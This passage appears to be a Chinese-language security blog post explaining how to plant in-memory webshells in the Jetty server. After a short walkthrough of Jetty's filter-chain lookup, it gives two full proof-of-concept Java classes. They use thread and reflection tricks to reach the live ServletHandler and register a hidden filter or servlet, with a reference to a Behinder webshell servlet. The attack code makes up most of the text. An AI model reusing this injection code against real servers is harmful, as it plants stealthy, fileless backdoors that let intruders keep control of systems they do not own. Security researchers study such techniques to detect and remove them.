chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);
}
}
if (_filterChainsCached)
{
final Map<String, FilterChain> cache = _chainCache[dispatch];
// Do we have too many cached chains?
if (_maxFilterChainsCacheSize > 0 && cache.size() >= _maxFilterChainsCacheSize)
{
// flush the cache
LOG.debug("{} flushed filter chain cache for {}", this, baseRequest.getDispatcherType());
cache.clear();
}
chain = chain == null ? new ChainEnd(servletHolder) : chain;
// flush the cache
LOG.debug("{} cached filter chain for {}: {}", this, baseRequest.getDispatcherType(), chain);
cache.put(key, chain);
}
return chain;
}
Jetty 获取filter chain的逻辑
- 根据请求路径/servletName 和 dispatcherType 生成 key。
- 先查缓存,有就直接用。
- 否则遍历所有 filter mapping:
- 匹配 所有 servlet 的 filter(通配)。
- 匹配 特定 servlet 的 filter(
<servlet-name>)。 - 匹配 URL pattern 的 filter(
<url-pattern>)。
- 逐个把匹配的 filter 包装起来形成
FilterChain。 - 缓存并返回。
而filter chain是遍历_filterPathMappings获取的,所以首先需要中获取到当前的ServletHandler然后获取到_filterPathMappings,然后添加filter内存马。
ServletHandler类似于tomcat里面的上下文
网上看到获取方法如下
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads) {
threadClassLoader = thread.getContextClassLoader();
if (threadClassLoader != null) {
if (threadClassLoader.toString().contains("WebAppClassLoader")) {
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
try {
} catch (Exception e) {
}
}
}
}
}
拿到servletHandler然后反射获取_filterPathMappings

这个_filterPathMappings是FilterMapping数组,所以需要实例化FilterMapping放到_filterPathMappings里面
主要是_filterName _holder _pathSpacs属性

都有对应的setter方法,所以可以直接反射调用setter方法构造filterMappings
其中_filterName就是过滤器名字

_holder包含过滤器信息,其中也包含了过滤器名字
_pathSpecs存放的就是一个path数组
所以反射创建一个filerMapping代码如下
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);
然后还需要将一个filter封装成holder

通过handler的newFilterHolder创建

package com.example.demo;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.EnumSet;
/**
* @ClassName fuckFilter
* @Description
* @Author Xutao
* @Date 2025年09月16日 17:07
* @Version 1.0
*/
public class fuckFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) {
try {
String filterName = "myFilter1";
String urlPattern = "/hello";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
try {
// 获取 _servletHandler 字段
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(f);
if(name.equals(filterName)){
flag = true;
break;
}
}
if(flag){
return;
}
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, new myfilter());
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
} catch (NoSuchFieldException e) {
}
}
}
}
}catch (Exception e) {
e.printStackTrace();
}
}
}



jetty servlet
ServletHandler里面不仅有_filterpathMappings还有_servletMappings以及_servlets数组,所有可以尝试添加servlet内存马

可以找到两个方法可以写入_servlets ,doStop setServlets
doStop是确保_servlets只有通过jetty API添加的servlets,主要看setServlets
public synchronized void setServlets(ServletHolder[] holders)
{
if (holders != null)
initializeHolders(holders);
updateBeans(_servlets, holders);
_servlets = holders;
updateNameMappings();
invalidateChainsCache();
}
可以添加ServletHolder,逻辑和添加FilterHoler一样
//获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
//装载_servlet
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
poc如下
package com.example.demo;
import com.memshell.generic.myservlet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.Servlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.EnumSet;
/**
* @ClassName fuckFilter
* @Description
* @Author Xutao
* @Date 2025年09月16日 17:07
* @Version 1.0
*/
public class fuckservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) {
try {
String ServletName = "fuckServlet";
String url = "/ser";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
try {
// 获取 _servletHandler 字段
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_servlets");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(f);
if(name.equals(ServletName)){
flag = true;
break;
}
}
if(flag){
return;
}
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, ServletName);
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, new myservlet());
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = clazz.newInstance();
Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
setFilterName.invoke(servletMapping, ServletName);
Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(servletMapping, url);
Method addServletMapping = servletHandler.getClass().getDeclaredMethod("addServletMapping", servletMapping.getClass());
addServletMapping.setAccessible(true);
addServletMapping.invoke(servletHandler,servletMapping);
} catch (NoSuchFieldException e) {
}
}
}
}
}catch (Exception e) {
e.printStackTrace();
}
}
}